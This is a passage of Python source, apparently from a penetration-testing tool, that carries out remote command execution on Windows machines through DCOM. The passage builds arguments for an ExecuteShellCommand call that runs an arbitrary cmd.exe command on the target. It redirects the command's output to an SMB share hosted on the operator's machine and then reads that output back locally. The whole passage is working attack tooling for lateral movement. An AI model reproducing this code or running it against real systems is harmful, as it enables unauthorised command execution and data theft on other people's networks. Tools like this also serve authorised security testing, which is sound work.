100 | if objRefType == FLAGS_OBJREF_CUSTOM:
101 | objRef = OBJREF_CUSTOM(''.join(resp))
102 | elif objRefType == FLAGS_OBJREF_HANDLER:
103 | objRef = OBJREF_HANDLER(''.join(resp))
104 | elif objRefType == FLAGS_OBJREF_STANDARD:
105 | objRef = OBJREF_STANDARD(''.join(resp))
106 | elif objRefType == FLAGS_OBJREF_EXTENDED:
107 | objRef = OBJREF_EXTENDED(''.join(resp))
108 | else:
109 | logging.error("Unknown OBJREF Type! 0x%x" % objRefType)
110 |
111 | return IRemUnknown2(
112 | INTERFACE(interface.get_cinstance(), None, interface.get_ipidRemUnknown(), objRef['std']['ipid'],
113 | oxid=objRef['std']['oxid'], oid=objRef['std']['oxid'],
114 | target=interface.get_target()))
115 |
116 | def execute(self, command, output=False):
117 | self.__retOutput = output
118 | self.execute_remote(command)
119 | self.exit()
120 | return self.__outputBuffer
121 |
122 | def exit(self):
123 | dispParams = DISPPARAMS(None, False)
124 | dispParams['rgvarg'] = NULL
125 | dispParams['rgdispidNamedArgs'] = NULL
126 | dispParams['cArgs'] = 0
127 | dispParams['cNamedArgs'] = 0
128 |
129 | self.__quit[0].Invoke(self.__quit[1], 0x409, DISPATCH_METHOD, dispParams,
130 | 0, [], [])
131 | return True
132 |
133 | def execute_remote(self, data):
134 | self.__output = gen_random_string(6)
135 | local_ip = self.__smbconnection.getSMBServer().get_socket().getsockname()[0]
136 |
137 | command = '/Q /c ' + data
138 | if self.__retOutput is True:
139 | command += ' 1> ' + '\\\\{}\\{}\\{}'.format(local_ip, self.__share_name, self.__output) + ' 2>&1'
140 |
141 | dispParams = DISPPARAMS(None, False)
142 | dispParams['rgdispidNamedArgs'] = NULL
143 | dispParams['cArgs'] = 4
144 | dispParams['cNamedArgs'] = 0
145 | arg0 = VARIANT(None, False)
146 | arg0['clSize'] = 5
147 | arg0['vt'] = VARENUM.VT_BSTR
148 | arg0['_varUnion']['tag'] = VARENUM.VT_BSTR
149 | arg0['_varUnion']['bstrVal']['asData'] = self.__shell
150 |
151 | arg1 = VARIANT(None, False)
152 | arg1['clSize'] = 5
153 | arg1['vt'] = VARENUM.VT_BSTR
154 | arg1['_varUnion']['tag'] = VARENUM.VT_BSTR
155 | arg1['_varUnion']['bstrVal']['asData'] = self.__pwd
156 |
157 | arg2 = VARIANT(None, False)
158 | arg2['clSize'] = 5
159 | arg2['vt'] = VARENUM.VT_BSTR
160 | arg2['_varUnion']['tag'] = VARENUM.VT_BSTR
161 | arg2['_varUnion']['bstrVal']['asData'] = command
162 |
163 | arg3 = VARIANT(None, False)
164 | arg3['clSize'] = 5
165 | arg3['vt'] = VARENUM.VT_BSTR
166 | arg3['_varUnion']['tag'] = VARENUM.VT_BSTR
167 | arg3['_varUnion']['bstrVal']['asData'] = '7'
168 | dispParams['rgvarg'].append(arg3)
169 | dispParams['rgvarg'].append(arg2)
170 | dispParams['rgvarg'].append(arg1)
171 | dispParams['rgvarg'].append(arg0)
172 |
173 | self.__executeShellCommand[0].Invoke(self.__executeShellCommand[1], 0x409, DISPATCH_METHOD, dispParams,
174 | 0, [], [])
175 | self.get_output_fileless()
176 |
177 | def output_callback(self, data):
178 | self.__outputBuffer += data
179 |
180 | def get_output_fileless(self):
181 | if not self.__retOutput: return
182 |
183 | while True:
184 | try:
185 | with open(os.path.join('/tmp', 'cme_hosted', self.__output), 'r') as output:
186 | self.output_callback(output.read())
187 | break
188 | except IOError:
189 | sleep(2)
--------------------------------------------------------------------------------